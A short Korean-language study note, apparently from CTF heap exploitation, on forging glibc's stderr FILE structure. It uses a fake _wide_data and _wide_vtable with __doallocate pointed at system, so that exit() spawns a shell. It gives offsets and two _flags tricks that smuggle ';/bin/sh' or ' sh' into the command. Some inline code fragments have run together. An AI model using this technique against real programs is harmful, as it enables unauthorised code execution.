RCE를 얻기 위해 stderr 구조체에 적용해야 할 설정 요약:


1. 가짜 _wide_vtable 생성

  • 위치: chunk_addr + 0x100chunk_addrlibc_base - 0xf7ff0 위치에 있음
  • __doallocate의 오프셋은 0x68이므로, chunk_addr + 0x100 + 0x68system 주소를 저장

2. 가짜 _wide_data 생성

  • 위치: chunk_addr
  • chunk_addr->_IO_write_base0으로 설정
  • chunk_addr->_IO_buf_base0으로 설정
  • chunk_addr->_wide_vtablechunk_addr + 0x100 (가짜 vtable의 주소)

3. stderr->_flags 값을 적절히 설정

  • 중요 사항:
    • 마지막에 wide_vtable->__doallocate(stderr)system(stderr)이 호출됨
    • 즉, system의 인자로는 stderr->_flags가 문자열 시작 주소로 사용됨
  • 조건도 만족하면서 원하는 명령을 실행시키기 위한 트릭:
    • kylebot 방식:
      • _flags0x3b01010101010101 설정
      • _IO_read_ptr"/bin/sh\\x00" 저장
      • 이 경우 최종적으로 실행되는 명령은 system("\\x01\\x01\\x01\\x01\\x01\\x01\\x01;/bin/sh") → 쉘 실행 가능
    • roderick01 방식:
      • _flags" sh" (앞에 공백 2개 포함된 문자열) 설정
      • 조건 만족 + system(" sh") 호출됨

4. 기타 stderr 필드 설정

  • _IO_write_base0
  • _IO_write_ptr1
    • 이로 인해 exit() 호출 시 _IO_flush_all_lockp()stderr에 대해 _IO_OVERFLOW(stderr, EOF) 호출
  • stderr->vtable_IO_wfile_jumps로 설정
    • 이로 인해 원래 _IO_new_file_overflow 대신 _IO_wfile_overflow 호출됨

이처럼 stderr의 FILE 구조체를 성공적으로 조작하고 나면,

exit() 호출 시 자동으로 셸을 획득할 수 있게 됩니다!